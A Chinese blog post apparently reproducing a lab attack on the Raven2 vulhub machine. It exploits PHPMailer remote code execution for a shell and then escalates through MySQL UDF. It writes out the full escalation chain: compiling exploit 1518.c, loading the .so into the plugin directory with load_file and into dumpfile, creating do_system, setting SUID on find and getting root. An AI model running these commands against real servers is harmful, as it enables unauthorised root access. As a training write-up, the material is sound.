干货 | Linux之mysqlUDF提权复现
2023-6-9 09:7:17 Author: 网络安全自修室(查看原文) 阅读量:16 收藏

点击上方蓝字关注我们

1
免责声明
      本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,遵守国家相关法律法规,请勿用于违法用途如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览

复现环境

靶机为vulhub靶场中的Raven2

  • 攻击机kali2023(192.168.61.128)
  • 靶机Raven2(192.168.61.148)

信息收集

nmap扫描端口开放情况

image.png

发现开放了22,80,111端口,操作系统为Linux 访问靶机80端口 利用插件查看中间件和指纹版本(语言为PHP)

image.png

目录扫描(dirb)发现靶机是wordpress建站(可以用wpscan扫描有没有wordpress漏洞)

image.png

此外还发现另外一个目录/vendor目录,访问目录发现存在目录遍历

image.png

翻看文件README.md文件得知为phpmailer,百度phpmailer知道是一个php发送邮件的程序,且版本小于5.2.18存在漏洞远程命令执行漏洞,查看当前version版本为5.2.16

image.png

这里我使用python脚本,复制脚本到桌面,将target改为攻击目标记得加上/contact,否则无法反弹会话回来,backdoor为生成的后门文件,payload改为kali的ip和监听的端口,email那把路径改为目标机的网站根路径,可以在/vendor中查找到网站根目录(msf上也有脚本,但是我用的时候不能直接弹回会话)

然后直接python执行

image.png

要访问后门地址就可以弹回shell

执行whoami发现为www-date权限

使用python执行交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

udf提权

了解UDF

mysql内置函数不满足需要,所以mysql提供了添加新函数的机制,自行添加的mysql函数就称为UDF(Userdefined function-用户自定义函数) udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写

UDF提权原理

用户可以自定义提权的函数(比如执行系统命令)来进行提权。

UDF提权条件

1.Mysql版本大于5.1时,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2.Mysql版本小于5.1版本时,udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)
4.可以将udf.dll写入到相应目录的权限。

使用蚁剑上传LinEnum.sh脚本进行提权信息收集

上传到tmp目录下

image.png

运行脚本发现有mysql数据库,且无法直接使用SUID提权

查找数据库配置文件(/var/www/html/wordpress/wp-config.php)

image.png

账号root,密码R3v3nSecurity

使用蚁剑登录mysql数据库,进行mysql udf提权

kali上搜索Linux udf提权脚本

image.png

将脚本文件在本地进行编译后上传到靶机的/tmp目录下

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o

将1518.so文件通过蚁剑上传到靶机/tmp目录下

进入数据库进行udf提权

先选择一个数据库

mysql> use wordpress

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

创建表foo

mysql> create table foo(line blob);

Query OK, 0 rows affected (0.02 sec)

读取1518.so并添加到foo表里的一行

mysql> insert into foo values(load_file('/tmp/1518.so'));

Query OK, 1 row affected (0.01 sec)

查询刚才添加的数据,并并保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

Query OK, 1 row affected (0.00 sec)

加载1518.so函数文件用来创建自定义函数

mysql> create function do_system returns integer soname '1518.so';

Query OK, 0 rows affected (0.01 sec)

查看mysql.func表

mysql> select * from mysql.func;

+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)

执行chmod u+s /usr/bin/find命令

mysql> select do_system('chmod u+s /usr/bin/find');

+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.01 sec)

退出mysql

mysql> quit

Bye

查看foo文件touch foo 执行whoami命令,返回root,获得root权限

[email protected]:/var/www/html$ find foo -exec 'whoami' \;

root

查看最终flag

Pasted image 20230609084403

如果想要系统学习网络安全技术

不妨加入知识星球课程

《60天入门网络安全渗透测试》

从入门到案例,贴合实战

轻松易懂、好玩实用

限时领取

知识星球

超值 | 一起学网络安全! 授人以鱼不如授人以渔!

活动优惠券

跟着60天入门学习路线一起学

期待你的到来!

往期推荐

从入门到入狱的技术,可以学,别乱用!

网络安全学习方向和资源整理(建议收藏)

一个web安全工程师的基础学习规划

资源 | 渗透测试工程师入门教程(限时领取)

5年老鸟推荐10个玩Python必备的网站

推荐十个成为网络安全渗透测试大佬的学习必备网站!

那些社工师不为人知的秘密。。。

更多内容请关注公众号

网络安全自修室

回复:”网络安全入门教程
领取系统网络安全学习教程!

点个在看你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0NDYxMzk1Mg==&mid=2247498947&idx=1&sn=32a5b5cce926678205a493e3bec69f04&chksm=e959aaecde2e23fa80afe1dafbf86a9b59ca8f449896ad0eacee6b31ff0971b4a8ce262134cb#rd
如有侵权请联系:admin#unsafe.sh